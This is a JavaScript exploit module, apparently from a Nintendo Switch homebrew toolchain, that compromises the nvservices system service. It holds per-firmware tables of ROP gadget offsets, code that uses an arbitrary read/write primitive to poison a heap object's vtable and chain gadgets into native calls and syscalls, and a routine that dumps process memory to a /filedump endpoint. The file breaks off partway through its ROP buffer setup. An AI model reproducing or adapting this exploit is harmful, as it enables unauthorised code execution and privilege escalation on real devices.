nvcore.js

var utils = require('./utils');
var svcMixin = require('./svc');
var sploitMixin = require('./sploitMixin');
var nsoInfo = require('./nso_info2.json');

var nvcore = function(sc, vers) {
	if (!nvcore.prototype.importedMixins) {
		Object.keys(svcMixin).forEach((k) => {
			nvcore.prototype[k] = svcMixin[k];
		});

		Object.keys(sploitMixin).forEach((k) => {
			nvcore.prototype[k] = sploitMixin[k];
		});

		nvcore.prototype.importedMixins = true;
	}

	utils.log('Starting nvcore...');
	this.sc = sc;
	window.sc = sc; // pls
	this.initialized = false;
	this.vers = vers;
	this.offsets = this.get_offsets();
	if (this.offsets == null) {
		utils.log('Unsupported version: '+vers);
		alert("Unfortunately firmware " + vers + " is not supported.");
		window.showExitMessage();
		return;
	}
	this.svcs = this.offsets['svc_dic'];
	
	this.tempBuf = new Uint32Array(8 * 1024 * 1024 / 4);
	this.tempBufAddr = utils.add2(this.sc.read8(this.sc.getAddr(this.tempBuf), 4), 0x100000);

	this.sploitMixinInit();

	utils.log('Pwning NV...');
	this.initialize(this.sc);
	utils.log('Pwned NV...');
};

nvcore.prototype.name = "nv";

nvcore.prototype.queryIOMapping = function(physAddr, size) {
	var virtAddr = utils.add2(this.ropBase, 0x40000);
	var ret = this.svc(0x55, [virtAddr, physAddr, size]);
	return this.rw.read(virtAddr);
};

nvcore.prototype.queryMem = function(addr, raw) {
	if(arguments.length == 1)
		raw = false;

	var meminfo = utils.add2(this.ropBase, 0x40000);
	var pageinfo = utils.add2(this.ropBase, 0x40028);

	var memperms = ['NONE', 'R', 'W', 'RW', 'X', 'RX', 'WX', 'RWX'];
	var memstates = ['NONE', '(1)', '(2)', 'CODE-STATIC', 'CODE', 'HEAP', 'SHARED-MEM-BLOCK', 'MODULE-CODE-STATIC', 'MODULE-CODE', 'STACK-MIRROR', 'THREAD-LOCAL-STORAGE', 'MEMORY_MIRROR', '(15)', 'RESERVED'];
	this.svc(0x6, [meminfo, pageinfo, addr]);

	var ms = this.rw.read(utils.add2(meminfo, 0x10));
	ms =  utils.paddr(ms);
	/*if(!raw && ms[1] == 0 && ms[0] < memstates.length)
    ms = memstates[ms[0]];
    else if(!raw)
    ms = 'UNKNOWN'*/
	var mp = this.rw.read(utils.add2(meminfo, 0x18));
	if(!raw && mp[1] == 0 && mp[0] < memperms.length)
		mp = memperms[mp[0]];

	var data = [this.rw.read(meminfo), this.rw.read(utils.add2(meminfo, 8)), ms, mp, this.rw.read(pageinfo)];

	return data;
};


nvcore.prototype.svc = function(id, registers, dump_regs) {
	if (arguments.length == 2)
		dump_regs = false;
	if (!(id in this.svcs)) {
		utils.log('Error: NV does not contain svc 0x'+id.toString(16));
		return null;
	}
	return this.slowCall(this.svcs[id], registers, [], dump_regs);
};

nvcore.prototype.initialize = function(sc) {
	if (this.initialized) {
		utils.log('Already initialized...returning.');
		return;
	}

	// Get RW primitive
	this.get_rw_primitive(sc);

	this.nv_base = utils.sub2(this.channel_addr, this.offsets['channel_to_base']);
 
    
	utils.log('this.base: '+utils.paddr(this.nv_base));
	utils.log('Testing arb read...');
	utils.log('*this.base: '+utils.paddr(this.rw.read(this.nv_base)));
    this.initialized = true;
	utils.log('Arb RW primitive works. Setting up caller...');
	this.fill_out_rop_buffer();
	utils.log('Filled out ROP buffer!');
	this.make_caller_obj();
	utils.log('Created caller object!');
    this.slowCall(0x220, []);
    utils.log('Verified call primitive!');
	this.scratch = utils.add2(this.ropBase, 0x30000);
	this.scratchOff = 0;
	this.ipcBufAddr = this.malloc(0x2000);
    utils.log('Allocated IPC Buf!');
    this.pageBuf = this.malloc(0x20000);
    utils.log('Allocated page buf: '+utils.paddr(this.pageBuf));
	utils.log('IPC BUF: '+utils.paddr(this.ipcBufAddr));

	if (this.vers == '3.0.0' && false) {
		utils.log('Setting up RO hax...');
		this.setup_ro_hax();
	} else {
        this.setup_gpu_rw();
    }

	this.initialized = true;
};

nvcore.prototype.get_offsets = function() {
	var offset_dic = {
            '4.1.0' : {
                'channel_to_base' : 0x62C6F8,
                'store_return_branch_a8' : 0x2254, //0x2208,
                'br_38' : 0x8A170, // 0x8690C
                'add_x8_br_x2' : 0xC7618, //0xC73FC,
                'add_x8_adj' : 0xBE8, //0x4C8,
                'ldr_blr_x9' : 0xC8B60, //0xC891C, 
                'partial_load' : 0xB6BC4, //0xB6F5C,
                'shuffle_x0_x8' : 0x1198C, //0xA1A0,
                'shuffle_x0_x8_ofs' : 0x20,
                'store_branch_60' : 0x31980, //0x31F94,
                'ldr_br_x1' : 0x2264, //0x2218,
                'save' : 0xB4158, //0xB44D8,
                'ldr_x0_ret' : 0xCA804,//0xCA5B0,
                'load' : 0xB6B8C, //0xB6F24,
                'br_x16' : 0x2E8,
                'ldr_x19_ret': 0x9E3C, //0x9DB8,
                'str_x20' : 0x6D5C, //0x6BF8,
                'str_x8_x19' : 0xC65FC, //0xC641C,
                'str_x0_x19' : 0x4B410, //0x4B0F8,
                'str_x2_x19' : 0x48818, //0x48614,
                'ldr_x8_str_0_x19' : 0xC1EC8, //0xC1EB8,
                'blr_x8_ret' : 0xFB5C, //0xFB54,
                'ldr_x2_str_x1_x2' : 0x124E8, //0x124BC,
                'ldr_x8_ldr_X1_br_x1' : 0xC1F40, //0xC1F30,
                'refresh_x19_x20' : 0xB4778, //0xB4AF0,
                'magic_copy_fuckery' : 0xF004, //0xEFFC,
                'return_address' : 0x4928, //0x4854,
                'nvdrv_heap' : 0x5D9FB0, //0x5DBFB0,
                'memcpy' : 0xBBD80, //0xBC0E8,
                'read4' : 0x7010, //0x6F00,
                'read4_adj' : 0x14,
                'write4' : 0x27698,//0x27600,
                'write4_adj' : 0x4,
                'read2' : 0x27618, //0x27580,
                'read2_adj' : 0x22, //0x24,
                'write2' : 0x27680, //0x275E8,
                'write2_adj' : 0x1E, //0x1A,
                'read1' : 0x2765C, //0x275C4,
                'read1_adj' : 0x3,
                'write1' : 0x2743C, //0x277A4,
                'write1_adj' : 0x0,
                'malloc' : 0x4B5F0, //0x4B2CC, 
                'free' : 0x4B600, //0x4B2DC,
                'malloc_heap' : 0x64A070, //0x64c070,
                'svc_dic' : {
                    0x2 : 0x123B0,
                    0x3 : 0x123B8,
                    0x4 : 0x123C0,
                    0x5 : 0x123C8,
                    0x6 : 0x123D0,
                    0x7 : 0x123E8,
                    0x8 : 0x123F0,
                    0x9 : 0x12408,
                    0xA : 0x12410,
                    0xB : 0x12418,
                    0xC : 0x12420,
                    0xD : 0x12438,
                    0x10 : 0x12440,
                    0x11 : 0x12448,
                    0x12 : 0x12450,
                    0x13 : 0x12458,
                    0x14 : 0x12460,
                    0x16 : 0x12468,
                    0x17 : 0x12470,
                    0x18 : 0x12478,
                    0x19 : 0x12490,
                    0x1A : 0x12498,
                    0x1B : 0x124A0,
                    0x1C : 0x124A8,
                    0x1D : 0x124B0,
                    0x1F : 0x124B8,
                    0x21 : 0x124D0,
                    0x22 : 0x124D8,
                    0x25 : 0x124E0,
                    0x26 : 0x124F8,
                    0x27 : 0x12500,
                    0x28 : 0x12508,
                    0x29 : 0x12510,
                    0x4E : 0x12528,
                    0x40 : 0x12540,
                    0x41 : 0x12560,
                    0x43 : 0x12578,
                    0x44 : 0x12590,
                    0x45 : 0x125A8,
                    0x51 : 0xCE88C,
                    0x52 : 0xCE894,
                    0x53 : 0xCE89C,
                    0x55 : 0xCE8B4,
                    0x56 : 0xCE8CC,
                    0x57 : 0xCE8E4,
                    0x58 : 0xCE8EC,
                    0x59 : 0xCE8F4,
                    0x5C : 0xCE8FC
                },
            },
        	'4.0.1' : {
			'channel_to_base' : 0x62C6F8,
            'store_return_branch_a8' : 0x2254, //0x2208,
			'br_38' : 0x89F30, // 0x8690C
			'add_x8_br_x2' : 0xC73D8, //0xC73FC,
			'add_x8_adj' : 0xBD8, //0x4C8,
			'ldr_blr_x9' : 0xC8920, //0xC891C, 
			'partial_load' : 0xB6984, //0xB6F5C,
			'shuffle_x0_x8' : 0x1198C, //0xA1A0,
            'shuffle_x0_x8_ofs' : 0x20,
			'store_branch_60' : 0x31980, //0x31F94,
			'ldr_br_x1' : 0x2264, //0x2218,
			'save' : 0xB3F18, //0xB44D8,
			'ldr_x0_ret' : 0xCA5C4,//0xCA5B0,
			'load' : 0xB694C, //0xB6F24,
			'br_x16' : 0x2E8,
			'ldr_x19_ret': 0x9E3C, //0x9DB8,
			'str_x20' : 0x6D5C, //0x6BF8,
			'str_x8_x19' : 0xC63BC, //0xC641C,
			'str_x0_x19' : 0x4B410, //0x4B0F8,
			'str_x2_x19' : 0x48818, //0x48614,
			'ldr_x8_str_0_x19' : 0xC1C88, //0xC1EB8,
			'blr_x8_ret' : 0xFB5C, //0xFB54,
			'ldr_x2_str_x1_x2' : 0x124E8, //0x124BC,
			'ldr_x8_ldr_X1_br_x1' : 0xC1D00, //0xC1F30,
			'refresh_x19_x20' : 0xB4538, //0xB4AF0,
			'magic_copy_fuckery' : 0xF004, //0xEFFC,
			'return_address' : 0x4928, //0x4854,
			'nvdrv_heap' : 0x5D9FB0, //0x5DBFB0,
			'memcpy' : 0xBBB40, //0xBC0E8,
			'read4' : 0x7010, //0x6F00,
			'read4_adj' : 0x14,
			'write4' : 0x27698,//0x27600,
			'write4_adj' : 0x4,
			'read2' : 0x27618, //0x27580,
			'read2_adj' : 0x22, //0x24,
			'write2' : 0x27680, //0x275E8,
			'write2_adj' : 0x1E, //0x1A,
			'read1' : 0x2765C, //0x275C4,
			'read1_adj' : 0x3,
			'write1' : 0x2743C, //0x277A4,
			'write1_adj' : 0x0,
			'malloc' : 0x4B5F0, //0x4B2CC, 
			'free' : 0x4B600, //0x4B2DC,
			'malloc_heap' : 0x64A070, //0x64c070,
			'svc_dic' : {
				0x2 : 0x123B0,
				0x3 : 0x123B8,
				0x4 : 0x123C0,
				0x5 : 0x123C8,
				0x6 : 0x123D0,
				0x7 : 0x123E8,
				0x8 : 0x123F0,
				0x9 : 0x12408,
				0xA : 0x12410,
				0xB : 0x12418,
				0xC : 0x12420,
				0xD : 0x12438,
                0x10 : 0x12440,
				0x11 : 0x12448,
				0x12 : 0x12450,
				0x13 : 0x12458,
				0x14 : 0x12460,
				0x16 : 0x12468,
				0x17 : 0x12470,
				0x18 : 0x12478,
				0x19 : 0x12490,
				0x1A : 0x12498,
                0x1B : 0x124A0,
				0x1C : 0x124A8,
				0x1D : 0x124B0,
				0x1F : 0x124B8,
				0x21 : 0x124D0,
				0x22 : 0x124D8,
				0x25 : 0x124E0,
				0x26 : 0x124F8,
				0x27 : 0x12500,
				0x28 : 0x12508,
				0x29 : 0x12510,
				0x4E : 0x12528,
				0x40 : 0x12540,
				0x41 : 0x12560,
				0x43 : 0x12578,
				0x44 : 0x12590,
				0x45 : 0x125A8,
                0x51 : 0xCE64C,
                0x52 : 0xCE654,
                0x53 : 0xCE65C,
                0x55 : 0xCE674,
                0x56 : 0xCE68C,
                0x57 : 0xCE6A4,
                0x58 : 0xCE6AC,
                0x59 : 0xCE6B4,
                0x5C : 0xCE6BC
			},
        },
		'3.0.1-disabled' : {
			'channel_to_base' : 0x62e6f8,
            'store_return_branch_a8' : 0x2208,
			'br_38' : 0x86940,
			'add_x8_br_x2' : 0xC743C,
			'add_x8_adj' : 0x4C8,
			'ldr_blr_x9' : 0xC895C,
			'partial_load' : 0xB6F90,
			'shuffle_x0_x8' : 0xA1A0,
            'shuffle_x0_x8_ofs' : 0x28,
			'store_branch_60' : 0x31FC8,
			'ldr_br_x1' : 0x2218,
			'save' : 0xB450C,
			'ldr_x0_ret' : 0xCA5F0,
			'load' : 0xB6F58,
			'br_x16' : 0x2E8,
			'ldr_x19_ret': 0x9DB8,
			'str_x20' : 0x6BF8,
			'str_x8_x19' : 0xC645C,
			'str_x0_x19' : 0x4B12C,
			'str_x2_x19' : 0x48648,
			'ldr_x8_str_0_x19' : 0xC1EF8,
			'blr_x8_ret' : 0xFB54,
			'ldr_x2_str_x1_x2' : 0x124BC,
			'ldr_x8_ldr_X1_br_x1' : 0xC1F70,
			'refresh_x19_x20' : 0xB4B24,
			'magic_copy_fuckery' : 0xEFFC,
			'return_address' : 0x4854, //0x2D34,
			'nvdrv_heap' : 0x5DBFB0,
			'memcpy' : 0xBC128,
			'read4' : 0x6F00,
			'read4_adj' : 0x14,
			'write4' : 0x27600,
			'write4_adj' : 0x4,
			'read2' : 0x27580,
			'read2_adj' : 0x24,
			'write2' : 0x275E8,
			'write2_adj' : 0x1A,
			'read1' : 0x275C4,
			'read1_adj' : 0x3,
			'write1' : 0x277A4,
			'write1_adj' : 0x0,
			'malloc' : 0x4B300, 
			'free' : 0x4B310,
			'malloc_heap' : 0x64c070,
			'svc_dic' : {
				0x2 : 0x12384,
				0x3 : 0x1238C,
				0x4 : 0x12394,
				0x5 : 0x1239C,
				0x6 : 0x123A4,
				0x7 : 0x123BC,
				0x8 : 0x123C4,
				0x9 : 0x123DC,
				0xA : 0x123E4,
				0xB : 0x123EC,
				0xC : 0x123F4,
				0xD : 0x1240C,
				0x11: 0x1241C,
				0x12 : 0x12424,
				0x13 : 0x1242C,
				0x14 : 0x12434,
				0x16 : 0x1243C,
				0x17 : 0x12444,
				0x18 : 0x1244C,
				0x19 : 0x12464,
				0x1A : 0x1246C,
				0x1C : 0x1247C,
				0x1F : 0x1248C,
				0x21 : 0x124A4,
				0x22 : 0x124AC,
				0x25 : 0x124B4,
				0x26 : 0x124CC,
				0x27 : 0x124D4,
				0x28 : 0x124DC,
				0x29 : 0x124E4,
				0x4E : 0x124FC,
				0x40 : 0x12514,
				0x41 : 0x12534,
				0x43 : 0x1254C,
				0x44 : 0x12564,
				0x45 : 0x1257C,
				0x51 : 0xCE050,
				0x52 : 0xCE058,
				0x53 : 0xCE060,
				0x55 : 0xCE078,
				0x56 : 0xCE090,
				0x57 : 0xCE0A8,
				0x58 : 0xCE0B0,
				0x59 : 0xCE0B8,
				0x5C : 0xCE0C0
			},
        },
        '3.0.0-disabled' : {
			'channel_to_base' : 0x62e6f8,
			'store_return_branch_a8' : 0x2208,
			'br_38' : 0x8690C,
			'add_x8_br_x2' : 0xC73FC,
			'add_x8_adj' : 0x4C8,
			'ldr_blr_x9' : 0xC891C,
			'partial_load' : 0xB6F5C,
			'shuffle_x0_x8' : 0xA1A0,
            'shuffle_x0_x8_ofs' : 0x28,
			'store_branch_60' : 0x31F94,
			'ldr_br_x1' : 0x2218,
			'save' : 0xB44D8,
			'ldr_x0_ret' : 0xCA5B0,
			'load' : 0xB6F24,
			'br_x16' : 0x2E8,
			'ldr_x19_ret': 0x9DB8,
			'str_x20' : 0x6BF8,
			'str_x8_x19' : 0xC641C,
			'str_x0_x19' : 0x4B0F8,
			'str_x2_x19' : 0x48614,
			'ldr_x8_str_0_x19' : 0xC1EB8,
			'blr_x8_ret' : 0xFB54,
			'ldr_x2_str_x1_x2' : 0x124BC,
			'ldr_x8_ldr_X1_br_x1' : 0xC1F30,
			'refresh_x19_x20' : 0xB4AF0,
			'magic_copy_fuckery' : 0xEFFC,
			'return_address' : 0x4854, //0x2D34,
			'nvdrv_heap' : 0x5DBFB0,
			'memcpy' : 0xBC0E8,
			'read4' : 0x6F00,
			'read4_adj' : 0x14,
			'write4' : 0x27600,
			'write4_adj' : 0x4,
			'read2' : 0x27580,
			'read2_adj' : 0x24,
			'write2' : 0x275E8,
			'write2_adj' : 0x1A,
			'read1' : 0x275C4,
			'read1_adj' : 0x3,
			'write1' : 0x277A4,
			'write1_adj' : 0x0,
			'malloc' : 0x4B2CC, 
			'free' : 0x4B2DC,
			'malloc_heap' : 0x64c070,
			'svc_dic' : {
				0x2 : 0x12384,
				0x3 : 0x1238C,
				0x4 : 0x12394,
				0x5 : 0x1239C,
				0x6 : 0x123A4,
				0x7 : 0x123BC,
				0x8 : 0x123C4,
				0x9 : 0x123DC,
				0xA : 0x123E4,
				0xB : 0x123EC,
				0xC : 0x123F4,
				0xD : 0x1240C,
				0x11: 0x1241C,
				0x12 : 0x12424,
				0x13 : 0x1242C,
				0x14 : 0x12434,
				0x16 : 0x1243C,
				0x17 : 0x12444,
				0x18 : 0x1244C,
				0x19 : 0x12464,
				0x1A : 0x1246C,
				0x1C : 0x1247C,
				0x1F : 0x1248C,
				0x21 : 0x124A4,
				0x22 : 0x124AC,
				0x25 : 0x124B4,
				0x26 : 0x124CC,
				0x27 : 0x124D4,
				0x28 : 0x124DC,
				0x29 : 0x124E4,
				0x4E : 0x124FC,
				0x40 : 0x12514,
				0x41 : 0x12534,
				0x43 : 0x1254C,
				0x44 : 0x12564,
				0x45 : 0x1257C,
				0x51 : 0xCE010,
				0x52 : 0xCE018,
				0x53 : 0xCE020,
				0x55 : 0xCE038,
				0x56 : 0xCE050,
				0x57 : 0xCE068,
				0x58 : 0xCE070,
				0x59 : 0xCE078,
				0x5C : 0xCE080
			},
		},
		'2.0.0-disabled' : {
			'channel_to_base' : 0x61d910,
			'store_return_branch_a8' : 0x2234,
			'br_38' : 0x7F174,
			'add_x8_br_x2' : 0xBFFF0,
			'add_x8_adj' : 0x608,
			'ldr_blr_x9' : 0x7B20C,
			'partial_load' : 0xB4DAC,
			'shuffle_x0_x8' : 0x7CCB8,
            'shuffle_x0_x8_ofs' : 0x28,
			'store_branch_60' : 0x2E6CC,
			'ldr_br_x1' : 0x2244,
			'save' : 0xB2328,
			'ldr_x0_ret' : 0xC180C,
			'load' : 0xB4D74,
			'br_x16' : 0x334,
			'ldr_x19_ret': 0x7635C,
			'str_x20' : 0x8890,
			'str_x8_x19' : 0x40224,
			'str_x0_x19' : 0x47154,
			'str_x2_x19' : 0x4468C,
			'ldr_x8_str_0_x19' : 0xBDFB8,
			'blr_x8_ret' : 0xF07C,
			'ldr_x2_str_x1_x2' : 0x11B18,
			'ldr_x8_ldr_X1_br_x1' : 0x7CDB0,
			'refresh_x19_x20' : 0x7D0,
			'magic_copy_fuckery' : 0xE548,
			'return_address' : 0x46B0, //0x2D34,
			'nvdrv_heap' : 0x5CD0D0,
			'memcpy' : 0xBB1F4,
			'read4' : 0x8B90,
			'read4_adj' : 0x14,
			'write4' : 0x23D64,
			'write4_adj' : 0x4,
			'read2' : 0x23CE4,
			'read2_adj' : 0x24,
			'write2' : 0x23D4C,
			'write2_adj' : 0x1A,
			'read1' : 0x23D28,
			'read1_adj' : 0x3,
			'write1' : 0x23D08,
			'write1_adj' : 0x0,
			'malloc': 0x4730C,
			'free': 0x4731C,
			'malloc_heap': 0x63B070,
			'svc_dic' : {
				0x2: 0x119C8, // svcSetMemoryPermission
				0x3: 0x119D0, // svcSetMemoryAttribute
				0x4: 0x119D8, // svcMapMemory
				0x5: 0x119E0, // svcUnmapMemory
				0x6: 0x119E8, // svcQueryMemory
				0x7: 0x11A00, // svcExitProcess
				0x8: 0x11A08, // svcCreateThread
				0x9: 0x11A20, // svcStartThread
				0xB: 0x11A30, // svcSleepThread
				0xC: 0x11A38, // svcGetThreadPriority
				0xD: 0x11A50, // svcSetThreadPriority
				0x11: 0x11A60, // svcSignalEvent
				0x12: 0x11A68, // svcClearEvent
				0x13: 0x11A70, // svcMapSharedMemory
				0x14: 0x11A78, // svcUnmapSharedMemory
				0x16: 0x11A80, // svcCloseHandle
				0x17: 0x11A88, // svcResetSignal
				0x18: 0x11A90, // svcWaitSynchronization
				0x19: 0x11AA8, // svcCancelSynchronization
				0x1A: 0x11AB0, // svcArbitrateLock
				0x1C: 0x11AC0, // svcWaitProcessWideKeyAtomic
				0x1F: 0x11AD0, // svcConnectToNamedPort
				0x21: 0x11AE8, // svcSendSyncRequest
				0x22: 0x11AF0, // svcSendSyncRequestWithUserBuffer
				0x26: 0x11AF8, // svcBreak
				0x27: 0x11B00, // svcOutputDebugString
				0x28: 0x11B08, // svcReturnFromException
				0x29: 0x11B10, // svcGetInfo
				0x4E: 0x11B28, // svcReadWriteRegister
				0x40: 0x11B40, // svcCreateSession
				0x41: 0x11B60, // svcAcceptSession
				0x43: 0x11B78, // svcReplyAndReceive
				0x44: 0x11B90, // svcReplyAndReceiveWithUserBuffer
				0x45: 0x11BA8, // svcCreateEvent
				0x51: 0xC4D34, // svcMapTransferMemory
				0x52: 0xC4D3C, // svcUnmapTransferMemory
				0x53: 0xC4D44, // svcCreateInterruptEvent
				0x55: 0xC4D5C, // svcQueryIoMapping
				0x56: 0xC4D74, // svcCreateDeviceAddressSpace
				0x57: 0xC4D8C, // svcAttachDeviceAddressSpace
				0x58: 0xC4D94, // svcDetachDeviceAddressSpace
				0x59: 0xC4D9C, // svcMapDeviceAddressSpaceByForce
				0x5C: 0xC4DA4, // svcUnmapDeviceAddressSpace
			},
		},
	};
	if (this.vers in offset_dic) {
		return offset_dic[this.vers];
	}
	return null;
};

nvcore.prototype.memdump = function(start, totalSize, name) {
	var end = utils.add2(start, totalSize);
	if (arguments.length == 2) {
		name = 'memdumps_nv/nv - '+utils.paddr(start) + ' - ' + utils.paddr(end) + '.bin';
	}

	var buf = new Uint32Array(8 * 1024 * 1024 / 4);
	var addr = sc.read8(sc.getAddr(buf), 4);

	utils.log('Dumping memory to '+name+'!');
	for(var idx = 0; idx < totalSize; idx += 0x700000) {
		size = totalSize - idx;
		size = size > 0x700000 ? 0x700000 : size;
		this.sc.gc();
		var obj = new nvown(buf);
		var base = this.leakPrev(8);
		var nvbuf = utils.add2(base, 0x100000);

		this.slowCall(this.offsets['memcpy'], [nvbuf, start, size]);
		obj.svc.leak();

		this.sc.memview(utils.add2(addr, 0x100000), size, function(ab) {
			var view = new Uint8Array(ab);
			var xhr = new XMLHttpRequest();
			xhr.open('POST', '/filedump', false);
			xhr.setRequestHeader('Content-Type', 'application/octet-stream');
			xhr.setRequestHeader('Content-Disposition', name);
			xhr.send(view);
		});
	}
	this.sc.gc();
	utils.log('Dumped memory succesfully!');
};

nvcore.prototype.slowCall = function(funcptr, args, fargs, dump_regs) {
	if(typeof(funcptr) == 'number') {
		funcptr = utils.add2(this.nv_base, funcptr);
	}
	switch(arguments.length) {
	case 1:
		args = [];
	case 2:
		fargs = [];
	case 3:
		dump_regs = false;
	}

	var saddrs = {};
	var baseScratchOff = this.scratchOff;

	for (var i = 0; i < args.length; i++) {
		if (typeof(args[i]) == 'number') {
			args[i] = [args[i], 0];
		} else if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
			var size = args[i].byteLength;
			var saddr = utils.add2(this.scratch, this.scratchOff);
			this.memcpyFromBrowser(saddr, sc.getArrayBufferAddr(args[i]), size);
			saddrs[i] = saddr;
			this.scratchOff += size;
			if(this.scratchOff & 0x7)
				this.scratchOff = (this.scratchOff & 0xFFFFFFF8) + 8;
		}
	}

	var vtable_save = utils.add2(this.ropBuf, 0x8000);
	var load_buf = utils.add2(this.ropBuf, 0x9000);
	var sp = utils.add2(this.ropBuf, 0x20000);
	var save_buf = utils.add2(this.ropBuf, 0x6000);


	var save = utils.add2(this.nv_base, this.offsets['save']);
	var ldr_x0_ret = utils.add2(this.nv_base, this.offsets['ldr_x0_ret']);
	var load = utils.add2(this.nv_base, this.offsets['load']);
	var br_x16 = utils.add2(this.nv_base, this.offsets['br_x16']);
	var ldr_x19_ret = utils.add2(this.nv_base, this.offsets['ldr_x19_ret']);
	var store_branch_60 = utils.add2(this.nv_base, this.offsets['store_branch_60']);

	// Write registers for native code.
	if(args.length > 0) {
		for(var i = 0; i < 30 && i < args.length; i++) {
			if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
				this.rw.write(saddrs[i], utils.add2(load_buf, 8*i));
			} else {
				this.rw.write(args[i], utils.add2(load_buf, 8*i));
			}
		}
	}

	if(fargs.length > 0) {
		for(var i = 0; i < fargs.length && i < 32; i++) {
			this.rw.write(fargs[i], utils.add2(load_buf, 0x110 + 8*i));
		}
	}

	this.rw.write(store_branch_60, utils.add2(save_buf, this.offsets['shuffle_x0_x8_ofs']));

	this.rw.write(vtable_save, save_buf);
	this.rw.write(save, vtable_save);
	this.rw.write(ldr_x0_ret, utils.add2(sp, 0x8));
	sp = utils.add2(sp, 0x10);

	// SAVE happens here.
	this.rw.write(load_buf, utils.add2(sp, 0x08));
	this.rw.write(load, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(ldr_x19_ret, utils.add2(sp, 0x08));
	this.rw.write(funcptr, utils.add2(load_buf, 0x80));
	this.rw.write(sp, utils.add2(load_buf, 0xF8));
	this.rw.write(br_x16, utils.add2(load_buf, 0x100));

	sp = utils.add2(sp, 0x10);
	// Call will happen here
	// Cleanup already taken care of by fill_out_rop_buffer!

	this.callObj.svc.open('/dev/memes'); // This actually triggers the call. I'm a bad person.

	var hax_buf = utils.add2(this.ropBuf, 0x10000);

	var ret = this.rw.read(utils.add2(hax_buf, 0x10));

	if(args.length > 0) {
		for(var i = 0; i < 30 && i < args.length; i++) {
			if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
				var size = args[i].byteLength;
				this.memcpyToBrowser(sc.getArrayBufferAddr(args[i]), saddrs[i], size);
			}
		}
	}
	this.scratchOff = baseScratchOff;
	return ret;
};

nvcore.prototype.make_caller_obj = function() {
	var heap_ptr = this.rw.read(utils.add2(this.nv_base, this.offsets['nvdrv_heap']));
	if (this.rw.read(heap_ptr)[0] != 0x45585048) {
		utils.log('WARNING: HEAP PTR OFFSET IS PROBABLY INVALID.');
	}
	var cur_recent = this.rw.read(utils.add2(heap_ptr, 0x80));
	this.callObj = new nvown(new Uint32Array(0x100000 / 4));
	var call_recent = this.rw.read(utils.add2(heap_ptr, 0x80));
	if (cur_recent[0] == call_recent[0]) {
		utils.log('WARNING: FAILED TO FIND NEW OBJECT...');;
	}
	var ud = this.rw.read(call_recent);
	if (ud[0] != 0x5544) {
		utils.log('WARNING: CALLER MEMCHUNK IS FREED?');
	}
	this.callVtableAddr = utils.add2(call_recent, 0x20);
	this.oldVtable = this.rw.read(this.callVtableAddr);
	this.callVtableBufAddr = utils.add2(this.ropBase, 0x98000);
	this.rw.write(this.callVtableBufAddr, this.callVtableAddr);
	for (var i = 0; i < 0x200; i += 0x8) {
		this.rw.write(this.rw.read(utils.add2(this.oldVtable, i)), utils.add2(this.callVtableBufAddr, i));
	}

	// Poison vtable.
	var br_38 = utils.add2(this.nv_base, this.offsets['br_38']);
	var shuffle_x0_x8 = utils.add2(this.nv_base, this.offsets['shuffle_x0_x8']);
	var add_x8_br_x2 = utils.add2(this.nv_base, this.offsets['add_x8_br_x2']);
	var add_x8_adj = this.offsets['add_x8_adj'];


	this.rw.write(br_38, utils.add2(this.callVtableBufAddr, 0x20)); // Open
	this.rw.write(add_x8_br_x2, utils.add2(this.callVtableBufAddr, 0x38)); // *something* >.>
	this.rw.write(shuffle_x0_x8, utils.add2(this.callVtableBufAddr, add_x8_adj + 8)); // safe to nuke
	this.rw.write(this.ropBuf, utils.add2(this.callVtableBufAddr, add_x8_adj)); // Poison **obj with rop buffer
};

nvcore.prototype.fill_out_rop_buffer = function(sc) {
	this.ropBuf = utils.add2(this.ropBase, 0x80000);
	utils.log('ropBuf: '+utils.paddr(this.ropBuf));


	// Set up Gadgets.
	var channel_to_base = utils.add2(this.nv_base, this.offsets['channel_to_base']);
	var store_return_branch_a8 = utils.add2(this.nv_base, this.offsets['store_return_branch_a8']);
	var br_38 = utils.add2(this.nv_base, this.offsets['br_38']);
	var add_x8_br_x2 = utils.add2(this.nv_base, this.offsets['add_x8_br_x2']);
	var add_x8_adj = this.offsets['add_x8_adj'];
	var ldr_blr_x9 = utils.add2(this.nv_base, this.offsets['ldr_blr_x9']);
	var partial_load = utils.add2(this.nv_base, this.offsets['partial_load']);
	var shuffle_x0_x8 = utils.add2(this.nv_base, this.offsets['shuffle_x0_x8']);
	var store_branch_60 = utils.add2(this.nv_base, this.offsets['store_branch_60']);
	var ldr_br_x1 = utils.add2(this.nv_base, this.offsets['ldr_br_x1']);
	var save = utils.add2(this.nv_base, this.offsets['save']);
	var ldr_x0_ret = utils.add2(this.nv_base, this.offsets['ldr_x0_ret']);
	var load = utils.add2(this.nv_base, this.offsets['load']);
	var br_x16 = utils.add2(this.nv_base, this.offsets['br_x16']);
	var ldr_x19_ret = utils.add2(this.nv_base, this.offsets['ldr_x19_ret']);
	var str_x20 = utils.add2(this.nv_base, this.offsets['str_x20']);
	var str_x8_x19 = utils.add2(this.nv_base, this.offsets['str_x8_x19']);
	var str_x0_x19 = utils.add2(this.nv_base, this.offsets['str_x0_x19']);
	var str_x2_x19 = utils.add2(this.nv_base, this.offsets['str_x2_x19']);
	var ldr_x8_str_0_x19 = utils.add2(this.nv_base, this.offsets['ldr_x8_str_0_x19']);
	var blr_x8_ret = utils.add2(this.nv_base, this.offsets['blr_x8_ret']);
	var ldr_x2_str_x1_x2 = utils.add2(this.nv_base, this.offsets['ldr_x2_str_x1_x2']);
	var ldr_x8_ldr_X1_br_x1 = utils.add2(this.nv_base, this.offsets['ldr_x8_ldr_X1_br_x1']);
	var refresh_x19_x20 = utils.add2(this.nv_base, this.offsets['refresh_x19_x20']);
	var magic_copy_fuckery = utils.add2(this.nv_base, this.offsets['magic_copy_fuckery']);
	var return_address = utils.add2(this.nv_base, this.offsets['return_address']);



	// For our convenience
	var vtable = utils.add2(this.ropBuf, 0x1000);
	var vtable2 = utils.add2(this.ropBuf, 0x2000);
	var pl_buf1 = utils.add2(this.ropBuf, 0x3000);
	var pl_buf2 = utils.add2(this.ropBuf, 0x4000);
	var save_buf = utils.add2(this.ropBuf, 0x6000);
	var store_sp = utils.add2(this.ropBuf, 0x7000);
	var vtable_save = utils.add2(this.ropBuf, 0x8000);
	var load_buf = utils.add2(this.ropBuf, 0x9000);
	var sp = utils.add2(this.ropBuf, 0x20000);

